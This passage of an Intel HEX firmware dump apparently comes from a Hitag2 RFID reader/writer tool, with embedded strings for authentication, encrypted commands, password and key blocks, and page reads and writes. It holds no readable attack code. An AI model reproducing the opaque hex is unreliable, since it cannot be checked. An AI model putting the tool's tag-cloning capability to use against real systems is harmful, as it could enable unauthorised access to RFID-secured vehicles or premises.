a0032002c4af64\n:10b48c002110a0002402c2a31000c22721204000da\n:10b49c00f82b410f000000000f00401000000000ce\n:10b4ac002402c2932002c48f1000c32721286000fd\n:10b4bc00213040007e2c410f00000000060040109f\n:10b4cc00000000002002c48f9ff7400f0000000016\n:10b4dc003a2d410b000000002110000021e8c003b0\n:10b4ec001c02bf8f1802be8f2002bd270800e0038c\n:10b4fc0000000000e0ffbd271c00bfaf1800beaf6e\n:10b50c0021f0a003214880002140a0002128c00088\n:10b51c002120e0003000c38f3800c28f2000c9a367\n:10b52c002400c8a32800c5a32c00c4a31000c3a3e7\n:10b53c001400c2a3488280a74a8280a34b8280a3b6\n:10b54c002000c2934c8282a32400c2934d8282a31a\n:10b55c002800c2934e8282a32c00c2934f8282a3f6\n:10b56c001000c293508282a31400c293518282a312\n:10b57c001000c29308004010000000001000c2939d\n:10b58c0000a0033cf06964243400c58f21304000d6\n:10b59c00494a410f000000000a0004243a1c410fe4\n:10b5ac00000000004c8284274882852700a0023cc2\n:10b5bc00f0694624afef400f000000000400401477\n:10b5cc000000000021100000b02d410b0000000015\n:10b5dc004a8283936c000224110062140000000064\n:10b5ec004b828293518282a30a0004243a1c410f9d\n:10b5fc00000000004c8284274882852700a0023c72\n:10b60c00f0694624afef400f000000000400401426\n:10b61c000000000021100000b02d410b00000000c4\n:10b62c004a82839361000224170062140000000018\n:10b63c004c8280a3c0ff02244d8282a34e8280a341\n:10b64c004f8280a3508280a34b828293518282a32b\n:10b65c000a0004243a1c410f000000004c8284278d\n:10b66c004882852700a0023cf0694624afef400fca\n:10b67c000000000004004014000000002110000035\n:10b68c00b02d410b000000004a82839390000224ed\n:10b69c0007006214000000004b82829304004014e7\n:10b6ac000000000001000224b02d410b000000003e\n:10b6bc002110000021e8c0031c00bf8f1800be8fb2\n:10b6cc002000bd270800e00300000000c8ffbd27d4\n:10b6dc003400bfaf3000beaf2c00b0af21f0a003e0\n:10b6ec003800c4af2000c0a32100c0a32200c0a317\n:10b6fc00488280a74a8280a34b8280a33800c48fe3\n:10b70c00a34a410f000000000800422c0400401026\n:10b71c0000000000211000003a2e410b0000000038\n:10b72c003800c48f63b7400f000000002300c2a391\n:10b73c003800c28f020042242120400063b7400f22\n:10b74c00000000002400c2a33800c28f0400422471\n:10b75c002120400063b7400f000000002500c2a369\n:10b76c003800c28f060042242120400063b7400fee\n:10b77c00000000002600c2a33800c48fa34a410f6a\n:10b78c0000000000211840000a0002240900621485\n:10b79c00000000003800c28f080042242120400025\n:10b7ac0063b7400f000000002100c2a32b2e410bf9\n:10b7bc00000000003800c28f080042242120400005\n:10b7cc0063b7400f000000002000c2a32200c0a3fa\n:10b7dc000a2e410b000000002200d0932200c293dd\n:10b7ec0005004224401002003800c38f2110620073\n:10b7fc002120400063b7400f0000000021184000da\n:10b80c0000a0023c5c45422421100202000043a02f\n:10b81c002200c293010042242200c2a32200c3933f\n:10b82c002000c2932b106200ebff401400000000bc\n:10b83c003800c48fa34a410f0000000042180200d8\n:10b84c002200c293060042242b1043000400401037\n:10b85c0000000000211000003a2e410b00000000f7\n:10b86c003800c48fa34a410f0000000042180200a8\n:10b87c002200c2930600422409006214000000005a\n:10b88c002200c293050042243800c38f21106200ad\n:10b89c002120400063b7400f000000002100c2a32c\n:10b8ac002300c4932400c5932500c3932600c293a0\n:10b8bc002000c7932100c6931000a7af00a0073c3f\n:10b8cc005c45e7241400a7af1800a6af2130600038\n:10b8dc0021384000402d410f0000000021e8c0033a\n:10b8ec003400bf8f3000be8f2c00b08f3800bd27c6\n:10b8fc000800e00300000000e0ffbd271c00bfaf04\n:10b90c001800beaf21f0a0031000c0a7552e410bac\n:10b91c00000000001000c39700a0023cf069422414\n:10b92c002110620000004290059d033cb45e64242b\n:10b93c00212840008513410f000000001000c29721\n:10b94c00010042241000c2a7488282971000c397be\n:10b95c002b106200efff4014000000004a8282931b\n:10b96c00059d033cb45e6424212840008513410fdf\n:10b97c00000000004b828293059d033cbc5e642456\n:10b98c00212840008513410f00000000059d023c5a\n:10b99c00c45e4424059d023cc85e45242013410f1f\n:10b9ac000000000021e8c0031c00bf8f1800be8ff0\n:10b9bc002000bd270800e00300000000f0ffbd27b9\n:10b9cc000c00beaf21f0a003211080001000c2a318\n:10b9dc001000c2930800432c4100601000000000ce\n:10b9ec0080180200059d023c08ba42242110620016\n:10b9fc000000428c0800400000000000ecba049dde\n:10ba0c0028ba049d44ba049d60ba049d7cba049d76\n:10ba1c0098ba049db4ba049dd0ba049d88bf023c68\n:10ba2c002061428cc000427cff0042300000c2af5b\n:10ba3c00be2e410b0000000088bf023c2061428cee\n:10ba4c008000427cff0042300000c2afbe2e410b92\n:10ba5c000000000088bf023c2061428c4000427c08\n:10ba6c00ff0042300000c2afbe2e410b00000000b0\n:10ba7c0088bf023c2061428c0000427cff004230b7\n:10ba8c000000c2afbe2e410b0000000088bf023c7c\n:10ba9c00a061428c8001427cff0042300000c2afaa\n:10baac00be2e410b0000000088bf023c2060428c7f\n:10babc00c003427cff0042300000c2afbe2e410bdf\n:10bacc000000000088bf023ce060428cc002427c57\n:10badc00ff0042300000c2afbe2e410b0000000040\n:10baec0021100000bf2e410b000000000000c28f8f\n:10bafc0021e8c0030c00be8f1000bd270800e00336\n:10bb0c0000000000f8ffbd270400beaf21f0a00329\n:10bb1c00211080000c00c5af0800c2a30800c2931e\n:10bb2c000800432c900060100000000080180200f8\n:10bb3c00059d023c54bb4224211062000000428c43\n:10bb4c00080040000000000074bb049d5cbc049d18\n:10bb5c0084bc049dacbc049dd4bc049dfcbc049d65\n:10bb6c0024bd049d4cbd049d0c00c28fff004230cf\n:10bb7c0001004230ff00443088bf033c20616294d6\n:10bb8c00c418827c206162a40c00c28fff0042307a\n:10bb9c0001004230ff00443088bf033c20616294b6\n:10bbac008410827c206162a40c00c28fff004230a2\n:10bbbc0001004230ff00443088bf033c2061629496\n:10bbcc004408827c206162a40c00c28fff004230ca\n:10bbdc0001004230ff00443088bf033c2061629476\n:10bbec000400827c206162a40c00c28fff004230f2\n:10bbfc0001004230ff00443088bf033ca0616294d6\n:10bc0c008431827ca06162a40c00c28fff004230a0\n:10bc1c0001004230ff00443088bf033c2060629436\n:10bc2c00c47b827c206062a40c00c28fff00423077\n:10bc3c0001004230ff00443088bf033ce060629456\n:10bc4c00c45a827ce06062a4602f410b00000000ab\n:10bc5c000c00c28fff00423001004230ff00443024\n:10bc6c0088bf033c20616294c418827c206162a46a\n:10bc7c00602f410b000000000c00c28fff0042300f\n:10bc8c0001004230ff00443088bf033c20616294c5\n:10bc9c008410827c206162a4602f410b00000000a4\n:10bcac000c00c28fff00423001004230ff004430d4\n:10bcbc0088bf033c206162944408827c206162a4aa\n:10bccc00602f410b000000000c00c28fff004230bf\n:10bcdc0001004230ff00443088bf033c2061629475\n:10bcec000400827c206162a4602f410b00000000e4\n:10bcfc000c00c28fff00423001004230ff00443084\n:10bd0c0088bf033ca06162948431827ca06162a4f0\n:10bd1c00602f410b000000000c00c28fff0042306e\n:10bd2c0001004230ff00443088bf033c2060629425\n:10bd3c00c47b827c206062a4602f410b0000000059\n:10bd4c000c00c28fff00423001004230ff00443033\n:10bd5c0088bf033ce0606294c45a827ce06062a4b9\n:10bd6c00602f410b0000000021100000612f410bdf\n:10bd7c00000000000100022421e8c0030400be8f73\n:10bd8c000800bd270800e00300000000e0ffbd270d\n:10bd9c001c00bfaf1800beaf21f0a0032110800023\n:10bdac002000c2a32000c29321204000722e410f1c\n:10bdbc00000000001000c2af2000c3931000c28f1f\n:10bdcc000100422cff00423021206000212840005d\n:10bddc00c42e410f0000000021e8c0031c00bf8fdf\n:10bdec001800be8f2000bd270800e00300000000f3\n:10bdfc00e8ffbd271400bfaf1000beaf21f0a003b9\n:10be0c00211080001800c2a31800c293212040000a\n:10be1c0021280000c42e410f0000000021e8c003bf\n:10be2c001400bf8f1000be8f1800bd270800e00360\n:10be3c0000000000e8ffbd271400bfaf1000beaf2c\n:10be4c0021f0a003211080001800c2a31800c29397\n:10be5c002120400001000524c42e410f00000000e9\n:10be6c0021e8c0031400bf8f1000be8f1800bd273f\n:08be7c000800e00300000000d3\n:020000040000fa\n:020000041d04d9\n:10be84004050050042550a00c04a0500427d0400a6\n:10be940025482f01c042040000800e3c25482e0195\n:10bea40040680700426d0d00c0620700427d060035\n:10beb40025608f01c05a060025608e012628a70040\n:10bec4002428ae00ffff4f25fe07e12dcb002010f4\n:10bed40000000000ffffaf25fe07e12df400201055\n:10bee4000000000023504d01ff034a254240080092\n:10bef400c07f090025400f0142480900023c0c00a4\n:10bf0400f401e0001b00270112700000104800003b\n:10bf1400ffff86311900ce0012200000004c0900fa\n:10bf2400027c080025482f012b7824010600e0112b\n:10bf340023482401ffffce2521482c012b082c0186\n:10bf4400fcff201000000000f401e0001b002701aa\n:10bf540012380000104800001900c7001220000029\n:10bf6400004c0900ffff0f3125482f012b782401d5\n:10bf74000600e01123482401ffffe72421482c0197\n:10bf84002b082c01fcff20100000000000740e00a0\n:10bf94002170c7011900cb011238000010200000e5\n:10bfa400000008242b780701234007012b102f01e0\n:10bfb40023482f012b7824012578e2010b00e0119e\n:10bfc40023482401ffffce2521400b012b780b01d0\n:10bfd40021482c0121482f0102002c1100000000ef\n:10bfe4002b782c01f7ffe0110000000006002c154f\n:10bff4000000000025200b002548080000000d2447\n:10c004002a00001025380d00023c0c00f401e00069\n:10c014001b0027011268000010480000ffff863152\n:10c024001900cd0012200000004c0900027c080019\n:10c0340025482f012b7824010600e0112348240110\n:10c04400ffffad2521482c012b082c01fcff2010fb\n:10c0540000000000f401e0001b002701123800007a\n:10c06400104800001900c70012200000004c09000d\n:10c07400ffff0f3125482f012b7824010600e01122\n:10c0840023482401ffffe72421482c012b082c011d\n:10c09400fcff201000000000006c0d002168a701c7\n:10c0a4001900ab0112380000102000000000082421\n:10c0b4002b780701234007012b102f0123482f0160\n:10c0c4002b7824012578e2010b00e0112348240198\n:10c0d400ffffad2521400b012b780b0121482c01da\n:10c0e40021482f0102002c11000000002b782c01a4\n:10c0f400f7ffe011000000000600c005000000008a\n:10c104002a78a0012168ad012170ce012170cf01f0\n:10c11400ffff4a25257828010200e01100000000f5\n:10c124000100ad3525480e0025400d00ffff4f25c9\n:10c13400fe07e12d15002010000000000004082572\n:10c1440000040f2d21482f012b782f0121504f017e\n:10c15400c27a08000100ef3123400f01c222080017\n:10c16400407d090025208f0040780900027b0f00e4\n:10c174002528af00007d0a002528af002510040003\n:10c18400251805000800e003000000004400401ddd\n:10c194000000000001000e242370ca012000c12dfc\n:10c1a4000700201400000000e0ffce212b2008002f\n:10c1b4000d00091025402401f8ff00100000093487\n:10c1c4000900c0110000000022300e000420c80045\n:10c1d4000430c9000640c8010648c90102008010a5\n:10c1e4002540c800020008350004082500040f2d6e\n:10c1f40021482f01d6ff0010c25709002a780001f8\n:10c2040021400801214829011700401521482f0128\n:10c21400257828011400e011000000000800201512\n:10c2240000000000030000150000000029ff0010ba\n:10c2340000000a242548000100000824e0ff4a25e4\n:10c2440020702e7123ffc0110000000023504e0106\n:10c2540022300e000630c8000440c8010448c90159\n:10c264001cff00102548260105004d1500000000a4\n:10c2740040780c002578eb012b00e0110000000051\n:10c28400ff0701240a00a11100000000bbff4011b8\n:10c2940000000000257828012300e01500000000bc\n:10c2a400f07f013c2528a100b4ff00100000042405\n:10c2b4002a78600121586b0121608c011700a015b8\n:10c2c40021608f0125788b01f5ffe011000000004b\n:10c2d4000800801500000000030060150000000045\n:10c2e40000ff001000000d242560600100000b24f5\n:10c2f400e0ffad2520708e71fafec0110000000031\n:10c304002368ae0122300e000630cb000458cb0166\n:10c314000460cc01f3fe00102560860125788b01b2\n:10c324000200e01100000000f8ff053c93ff00103c\n:08c334000000042400000000d9\n:020000040000fa\n:020000041d04d9\n:10c33c005075626c6963204d6f646520420000008b\n:10c34c005075626c6963204d6f646520410000007c\n:10c35c005075626c6963204d6f646520430000006a\n:10c36c0048697461673200003030313130000000b0\n:10c37c0030313131000000000d0a25732c2048416a\n:10c38c004c5400000d0a25732c203f494e56414c4d\n:10c39c0049443f000d0a25732c205345545f4343f9\n:10c3ac000000000031313030000000000d0a257310\n:10c3bc002c20524541445f504c41494e54455854f1\n:10c3cc005f504147453a00003130303000000000ea\n:10c3dc000d0a25732c2057524954455f504c414946\n:10c3ec004e544558545f504147453a00252e327300\n:10c3fc003a000000257300000d0a25732c204441df\n:10c40c0054413a00252e38733a0000003030303059\n:10c41c00300000000d0a25732c2053454c45435425\n:10c42c003a0000000d0a25732c3f494e56414c49e9\n:10c43c00443f00000d0a0000313130303000000064\n:10c44c00344434393442353200000000344634452b\n:10c45c003444343934423532000000000d476170e9\n:10c46c0020256400205a65726f20256400000000ae\n:10c47c00204f6e6520256400204643202564000073\n:10c48c00202d20676f7420256400000020756964de\n:10c49c00732c2025640000002061757468732025be\n:10c4ac00640000002072656164732c206f75742029\n:10c4bc006f6620256420617474656d7074732e0d25\n:10c4cc000a000000253258002530325800000000c8\n:10c4dc000101000001000100303041413438353495\n:10c4ec000000000030324141343835340000000087\n:10c4fc003036414134383534000000000d0a2573c4\n:10c50c002c2053544152545f4155544800000000b4\n:10c51c000d0a25732c20434d445f454e4352595010\n:10c52c005445440030300000313100000d0a2573b1\n:10c53c002c20524541445f504147453a00000000d1\n:10c54c00303100000d0a25732c20524541445f50b8\n:10c55c004147455f494e5645525445443a00000008\n:10c56c00313000000d0a25732c2057524954455f79\n:10c57c00504147453a000000256400000d0a257320\n:10c58c002c205057443a00000d0a25732c20505291\n:10c59c004e3a000025733a205345435245543a0015\n:10c5ac004e6f2052656164202f204e6f20577269a8\n:10c5bc007465000052656164202f205772697465a0\n:10c5cc00000000005061676520313a204e6f205208\n:10c5dc00656164202f204e6f2057726974652c2082\n:10c5ec005061676520323a2052656164204f6e6c51\n:10c5fc007900000052656164204f6e6c7900000078\n:10c60c0043727970746f000050617373776f72644a\n:10c61c000000000042695068617365004d616e63f3\n:10c62c0068657374657200002020202020505744e8\n:10c63c0020426c6f636b202831293a20252e3873e9\n:10c64c0020202020000000000d0a0d0a20202020b0\n:10c65c00204b657920426c6f636b202832293a207d\n:10c66c00252e387320202020000000000d0a0d0a12\n:10c67c002020436f6e66696720426c6f636b2028c5\n:10c68c0033293a20252e38730d0a0d0a00000000bc\n:10c69c00202020202020202050616765203120267a\n:10c6ac0020323a202564203d2000000025730d0a1d\n:10c6bc0000000000202020202020202020202020ee\n:10c6cc005061676520333a202564203d200000002e\n:10c6dc002020202020202020506167652034202637\n:10c6ec0020353a202564203d200000002020202009\n:10c6fc0020202020506167652036202620373a20e4\n:10c70c002564203d20000000202020202020202017\n:10c71c00202053656375726974793a202564203d35\n:10c72c00200000002020202020202020202020205d\n:10c73c0020204d6f64653a202564203d20000000c8\n:10c74c0020202020202020204d6f64756c6174699e\n:10c75c006f6e3a202564203d200000000d0a202039\n:10c76c0020202050574420426c6f636b20283329c3\n:10c77c003a20252e36732020202020200000000097\n:10c78c004e6f204869546167322050574d207374a6\n:10c79c006f7265640d0a0000436f756e74206f76be\n:0cc7ac006572666c6f770d0a00000000db\n:020000040000fa\n:020000041d04d9\n:10c7b8002140c000214880003b00e0142118a0005f\n:10c7c8002b10a600480040102010c27008004050ee\n:10c7d80002340800231802000428450006186400e3\n:10c7e8000440460025186500044844000234080047\n:10c7f8001b006600f401c000102000001258000061\n:10c80800ffff0c310254090002586c710024040027\n:10c8180025508a002b684b011b006600f401c000fc\n:10c828000900a05123504b01215048012b18480101\n:10c838000500605423504b012b204b01211848015f\n:10c848000b50640023504b01ffff23311b004601ae\n:10c85800f401c000104800001220000002208c7073\n:10c86800004c0900254823012b1824011b00460110\n:10c87800f401c00009006050234824012148280120\n:10c888002b18280105006054234824012b18240183\n:10c89800214028010b4803012348240106104900c0\n:10c8a8000800e003211800002b10a70047004014df\n:10c8b8002050ea704800401520000b242b10e5009a\n:10c8c80005004014231086002b40860089000015bf\n:10c8d80021108000231086002328a7002b20820027\n:10c8e8000800e0032318a4000600c01420100271f9\n:10c8f800010002241b004600f401c00012400000a1\n:10c90800201002717d004054044048002328a800ec\n:10c91800021c0800ffff0731022409001b00a300c6\n:10c92800f401600010500000123000000230c7709f\n:10c9380000540a00252044012b5086001b00a30048\n:10c94800f40160000900405123208600212088005e\n:10c958002b2888000500a054232086002b50860031\n:10c96800212888000b20aa0023208600ffff2631fb\n:10c978001b008300f401600010480000122800002a\n:10c988000228a770004c0900254826012b302501f4\n:10c998001b008300f40160000900c05023482501f2\n:10c9a800214828012b182801050060542348250137\n:10c9b8002b182501214028010b4803012348250194\n:10c9c800061049000800e00321180000211080002b\n:10c9d8000800e0032118a00023586a010438470121\n:10c9e800061066012538470006686501024c0700f5\n:10c9f8001b00a901f40120011060000012180000ba\n:10ca0800ffffee300428450106106401251045009b\n:10ca1800022c0200043046011240000002786e70b9\n:10ca280000640c00256085012b288f011b00a901db\n:10ca3800f40120010a00a0100420440121608701ac\n:10ca48002b2887010600a014ffff68242b288f01dc\n:10ca58000400a05023608f01feff68242160870135\n:10ca680023608f01ffff42301b008901f401200180\n:10ca780010280000121800001268000002706e7082\n:10ca8800002c05002510a2002b284e001b00890150\n:10ca9800f40120010600a0500044080021104700be\n:10caa8002b2847004c00a010ffff6d24004408000d\n:10cab8002540a80123104e00190006011048000067\n:10cac8002b1849003e006014124000004b0049102a\n:10cad8002318490012300000233086002b208600de\n:10cae800231864000410630106304601251046002f\n:10caf800061843010800e003000000002000092494\n:10cb08002348220106502501021c08001b0043018e\n:10cb1800f40160001030000012580000ffff0731d8\n:10cb2800042845000648240125282501026405003b\n:10cb38000448440002586771003406002530860115\n:10cb48002b20cb001b004301f4016000060080503d\n:10cb58002330cb002130c8002b20c80024008010cf\n:10cb68002b50cb002330cb00ffffaa301b00c300a3\n:10cb7800f401600010200000122800000228a770ad\n:10cb88000024040025208a002b5085001b00c300c8\n:10cb9800f401600060ff40512328850021208800af\n:10cba8002b3088005cffc054232885002b5085005b\n:10cbb800213088000b20ca004832410b2328850009\n:10cbc80023300601231827012b400601231868008b\n:10cbd800b832410b231843002b284e00b4ffa05055\n:10cbe80000440800feff6d24ad32410b21104700c0\n:10cbf8002120c800db32410b0b308a002b1888003b\n:10cc0800f0ff60542330060112300000b832410ba7\n:10cc1800211800002140c000211080003f00e014ce\n:10cc28002148a0002b18a600470060102018c370e8\n:10cc380008006050021c080023480300042865000f\n:10cc480006482401044066002548250104106400b4\n:10cc5800021c08001b002301f401600010600000a2\n:10cc680012580000ffff0a310224020012300000af\n:10cc780002386a7100640c00252084012b6087004b\n:10cc88001b002301f40160000b008011232887009a\n:10cc9800212088002b2888000600a014ffff6625a5\n:10cca8002b2887000400a01023288700feff662594\n:10ccb8002120880023288700ffff42301b00a300a3\n:10ccc800f401600010480000123800001220000033\n:10ccd8000250ea70004c0900251022012b484a0036\n:10cce8001b00a300f4016000090020510014060095\n:10ccf800211048002b40480004000015ffffe424e1\n:10cd08002b504a00feffe7240b20ea00001406001f\n:10cd1800251082000800e003211800002b10a7004e\n:10cd2800440040142040e8704500005520000224cb\n:10cd38002b28e500c800a0142b3086000100c2385b\n:10cd48000800e003211800000600c0142018037131\n:10cd5800010003241b006600f401c000124000001b\n:10cd6800201803717b006054044068002320a80049\n:10cd7800023c0800ffff0b310100032402340200cb\n:10cd88001b008700f401e00010680000126000003a\n:10cd98001248000002508b71006c0d002530a6016e\n:10cda8002b68ca001b008700f401e0000900a011ed\n:10cdb8002328ca002130c8002b20c8000400801492\n:10cdc800ffff89252b20ca00a6008054feff892575\n:10cdd8002328ca00ffff42301b00a700f401e0002f\n:10cde8001050000012300000122000000258cb70d2\n:10cdf80000540a00251042012b504b001b00a700cd\n:10ce0800f401e00009004051001409002110480015\n:10ce18002b40480004000015ffffc4242b584b008a\n:10ce2800feffc6240b20cb00001409000800e00315\n:10ce380025108200211800000800e00321100000de\n:10ce480023104800043807010618460025386700f3\n:10ce580006504500021c07001b004301f401600056\n:10ce68001048000012680000ffffeb30042805019d\n:10ce78000610440025284500027405001210000021\n:10ce88000260ab71004c090025482e012b702c0163\n:10ce98001b004301f40160000a00c01104300601c0\n:10cea800214827012b50270106004015ffffa22526\n:10ceb8002b502c010400405123482c01feffa225d1\n:10cec8002148270123482c01ffffa5301b0023011f\n:10ced800f4016000106800001260000012500000a9\n:10cee80002588b71006c0d002528a5012b68ab003a\n:10cef8001b002301f40160000b00a0510014020084\n:10cf08002128a7002b18a70006006014ffff8a2518\n:10cf18002b18ab000400605000140200feff8a25a5\n:10cf28002128a70000140200251042012328ab0085\n:10cf380019004600103800002b18a70044006014a0\n:10cf4800123000003f00a710042004010800e0038d\n:10cf58002118000020000224231043000648450041\n:10cf6800023c08001b002701f401e000103000001b\n:10cf780012600000ffff0b31042865000610440012\n:10cf880025284500026c05000410640012180000f2\n:10cf980002508b71003406002530a6012b20ca00f0\n:10cfa8001b002701f401e0000b0080502330ca0069\n:10cfb8002130c8002b20c80006008014ffff8325fd\n:10cfc8002b20ca00040080502330ca00feff8325ae\n:10cfd8002130c8002330ca00ffffac301b00c70057\n:10cfe800f401e00010200000125000001248000078\n:10cff80002284b710024040025208c002b6085003a\n:10d008001b00c700f401e0000b008051001c030066\n:10d01800212088002b3088000600c014ffff492516\n:10d028002b3085000400c050001c0300feff49257a\n:10d0380021208800001c0300232085006133410b58\n:10d04800251823012b308600c0ffc0100000000007\n:10d05800d533410bffff4224211800000800e003ec\n:10d06800010002247633410b2130c800f0ffbd27b0\n:10d078000c00beaf21f0a003211080001000c2a355\n:10d088001000c2930200032418004310000000009f\n:10d09800030043280600601000000000010003247c\n:10d0a8000b004310000000005234410b0000000048\n:10d0b80003000324140043100000000004000324ac\n:10d0c80018004310000000005234410b000000001b\n:10d0d80088bf023ca060428c4000427cff00423086\n:10d0e8000000c2af5534410b0000000088bf023c6d\n:10d0f800a060428c8000427cff0042300000c2af3a\n:10d108005534410b0000000088bf023ca060428cef\n:10d11800c000427cff0042300000c2af5534410bd2\n:10d128000000000088bf023c2061428c4001427c24\n:10d13800ff0042300000c2af5534410b0000000030\n:10d14800211000005634410b000000000000c28f7f\n:10d1580021e8c0030c00be8f1000bd270800e003c3\n:10d1680000000000f8ffbd270400beaf21f0a003b7\n:10d17800211080000c00c5af0800c2a30800c293ac\n:10d188000500432c570060100000000080180200c2\n:10d19800059d023cb0d14224211062000000428c5f\n:10d1a8000800400000000000c4d1049d4cd2049d3a\n:10d1b80074d2049d9cd2049dc4d2049d0c00c28fdd\n:10d1c800ff00423001004230ff00443088bf033c7a\n:10d1d800a06062944408827ca06062a40c00c28fa4\n:10d1e800ff00423001004230ff00443088bf033c5a\n:10d1f800a06062948410827ca06062a40c00c28f3c\n:10d20800ff00423001004230ff00443088bf033c39\n:10d21800a0606294c418827ca06062a40c00c28fd3\n:10d22800ff00423001004230ff00443088bf033c19\n:10d23800206162944429827c206162a4be34410b3f\n:10d24800000000000c00c28fff0042300100423095\n:10d25800ff00443088bf033ca06062944408827c8d\n:10d26800a06062a4be34410b000000000c00c28f15\n:10d27800ff00423001004230ff00443088bf033cc9\n:10d28800a06062948410827ca06062a4be34410bca\n:10d29800000000000c00c28fff0042300100423045\n:10d2a800ff00443088bf033ca0606294c418827cad\n:10d2b800a06062a4be34410b000000000c00c28fc5\n:10d2c800ff00423001004230ff00443088bf033c79\n:10d2d800206162944429827c206162a4be34410b9f\n:10d2e8000000000021100000bf34410b00000000c6\n:10d2f8000100022421e8c0030400be8f0800bd27f6\n:10d308000800e00300000000e0ffbd271c00bfafdd\n:10d318001800beaf21f0a003211080002000c2a396\n:10d328002000c293212040001d34410f000000005e\n:10d338001000c2af2000c3931000c28f0100422c1e\n:10d34800ff00423021206000212840005b34410f5b\n:10d358000000000021e8c0031c00bf8f1800be8f2a\n:10d368002000bd270800e00300000000e8ffbd27fb\n:10d378001400bfaf1000beaf21f0a0032110800041\n:10d388001800c2a31800c293212040000100052400\n:10d398005b34410f0000000021e8c0031400bf8f78\n:10d3a8001000be8f1800bd270800e0030000000031\n:10d3b800e8ffbd271400bfaf1000beaf21f0a003e7\n:10d3c800211080001800c2a31800c2932120400039\n:10d3d800212800005b34410f0000000021e8c00351\n:10d3e8001400bf8f1000be8f1800bd270800e0038f\n:10d3f80000000000e0ffbd271c00bfaf1800beaf53\n:10d4080021f0a003010002241000c2a32135410b22\n:10d41800000000001000c293059d033ccc5d64240d\n:10d42800212840008513410f000000001000c2931e\n:10d43800212040001d34410f00000000050040106d\n:10d4480000000000059d023cdc5d42241935410bbb\n:10d4580000000000059d023ce05d4224059d033c60\n:10d46800e45d6424212840002013410f00000000df\n:10d478001000c293010042241000c2a31000c293fe\n:10d488000500422ce3ff40140000000021e8c0031f\n:10d498001c00bf8f1800be8f2000bd270800e003c6\n:04d4a8000000000080\n:020000040000fa\n:020000041d04d9\n:10d4ac000080013c2638e10040580500425d0b002d\n:10d4bc00c0520500427d040025504f01c04a0400b3\n:10d4cc000080083c255048014070070042750e0052\n:10d4dc00c06a0700427d06002568af01c0620600e5\n:10d4ec002568a801ffff6f25fe07e12d8d00201098\n:10d4fc0000000000ffffcf25fe07e12dbb00201030\n:10d50c00000000000080013c2428a10023406e0193\n:10d51c002c00001100000000150000190000000094\n:10d52c002000012d0700201400000000e0ff08215e\n:10d53c002b300c0023000d102560a601f8ff001005\n:10d54c0000000d341f000011000000002220080014\n:10d55c0004308c0004208d0006600c0106680d015f\n:10d56c001800c01025608c001600001002008c35cd\n:10d57c0025580e00234008002000012d0700201420\n:10d58c0000000000e0ff08212b3009000d000a10fc\n:10d59c0025484601f8ff001000000a34090000116c\n:10d5ac0000000000222008000430890004208a00ba\n:10d5bc000648090106500a010200c01025488900de\n:10d5cc00020029352678a7001c00e00500000000a9\n:10d5dc0021482c012b782c0121504d0121504f0159\n:10d5ec0002004d11000000002b784d013700e011b6\n:10d5fc000000000001002f310200e01100000000cb\n:10d60c000200293542480900c07f0a0025482f0135\n:10d61c0042500a000080013c2550410101006b255d\n:10d62c00ff0701242900611500000000f07f013c78\n:10d63c002528a10037000010000004242b782c01b1\n:10d64c0023482c012b104f0123504f012b784d01f7\n:10d65c002578e2010700e01123504d010080013cc8\n:10d66c002628a1002b7809002348090023500a0022\n:10d67c0023504f0108004015000000000300201546\n:10d68c00000000000d00001000000b2425502001ac\n:10d69c0000000924e0ff6b252040487107000011b1\n:10d6ac000000000023586801222008000620890091\n:10d6bc000448090104500a01255044012578490108\n:10d6cc000200e0150000000000000524680060194d\n:10d6dc00000000000004292500042f2d21504f01cb\n:10d6ec002b784f0121586f01c27a09000100ef31ec\n:10d6fc0023482f01c2220900407d0a0025208f00fb\n:10d70c0040780a00027b0f002528af00007d0b003b\n:10d71c002528af0025100400251805000800e0039b\n:10d72c00000000002a7820012148290121504a01db\n:10d73c002300601521504f01257849011400e01198\n:10d74c000000000008004015000000000300201538\n:10d75c000000000067ff001000000b242550200182\n:10d76c0000000924e0ff6b252040487161ff001187\n:10d77c0000000000235868012220080006208900c0\n:10d78c000448090104500a015aff001025504401b5\n:10d79c00ff0701241500c111000000002140e70023\n:10d7ac00257806010300e01500000000d9ffe00415\n:10d7bc000000000025100600d8ff001025180700f7\n:10d7cc00257849012700e01500000000ff0701241f\n:10d7dc00d0ffc115000000002678a7002100e0054d\n:10d7ec0000000000f3ff0010000000002a78800108\n:10d7fc0021608c012168ad011700c0152168af01b3\n:10d80c002578ac01c3ffe011000000000800a01552\n:10d81c0000000000030080150000000039ff00101c\n:10d82c0000000e242568800100000c24e0ffce25aa\n:10d83c002040a87133ff0011000000002370c801c4\n:10d84c002220080006208c0004600c0104680d01e5\n:10d85c002cff00102568a4012578ac01d5ffe01140\n:10d86c0000000000f8ff053caaff00100000042493\n:10d87c000100082423400b012000012d0700201477\n:10d88c0000000000e0ff08212b3009000d000a10f9\n:10d89c0025484601f8ff001000000a340900001169\n:10d8ac0000000000222008000430890004208a00b7\n:10d8bc000648090106500a010200c01025488900db\n:10d8cc000200293583ff001000000b24000000002b\n:020000040000fa\n:020000041d04d9\n:10d8dc00d8ffbd272400bfaf2000beaf21f0a003ae\n:10d8ec002800c4af00a0023cdc56422487004290c2\n:10d8fc00f7ff42240d00432cf100601000000000e3\n:10d90c0080180200059d023c28d942242110620097\n:10d91c000000428c0800400000000000f8d9049d73\n:10d92c00f8d9049d74da049db8dc049db8dc049d20\n:10d93c00c0db049d10db049dccdc049d5cd9049df4\n:10d94c00ccdc049dccdc049d8cdb049d3cdc049d78\n:10d95c0000a0023c5c4544242800c58ff029410fef\n:10d96c000000000004004014000000002110000022\n:10d97c003437410b0000000000a0023cdc5642246e\n:10d98c00b000458c00a0023cdc5642249c00438c29\n:10d99c0000a0023cdc564224a400428c00a0043cb3\n:10d9ac00dc568424a800878c00a0043cdc5684241c\n:10d9bc00ac00868c00a0043cdc568424d400848cff\n:10d9cc001000a7af1400a6af1800a4af00a0043c31\n:10d9dc005c458424213060002138400002f9400f5e\n:10d9ec00000000003437410b0000000000a0023c96\n:10d9fc005c4544242800c58fc5db400f00000000a7\n:10da0c000400401400000000211000003437410bca\n:10da1c000000000000a0023cdc564224b000458c03\n:10da2c0000a0023cdc5642249c00438c00a0023c2b\n:10da3c00dc564224a400428c00a0043cdc56842416\n:10da4c00d400848c1000a4af00a0043c5c4584245a\n:10da5c00213060002138400019ff400f0000000009\n:10da6c003437410b0000000000a0023c5c4544240c\n:10da7c002800c58f263d410f000000000400401413\n:10da8c0000000000211000003437410b00000000a2\n:10da9c0000a0023cdc564224b000458c00a0023ca5\n:10daac00dc5642249c00438c00a0023cdc564224f1\n:10dabc00a400428c00a0043cdc568424a800878c73\n:10dacc0000a0043cdc568424ac00868c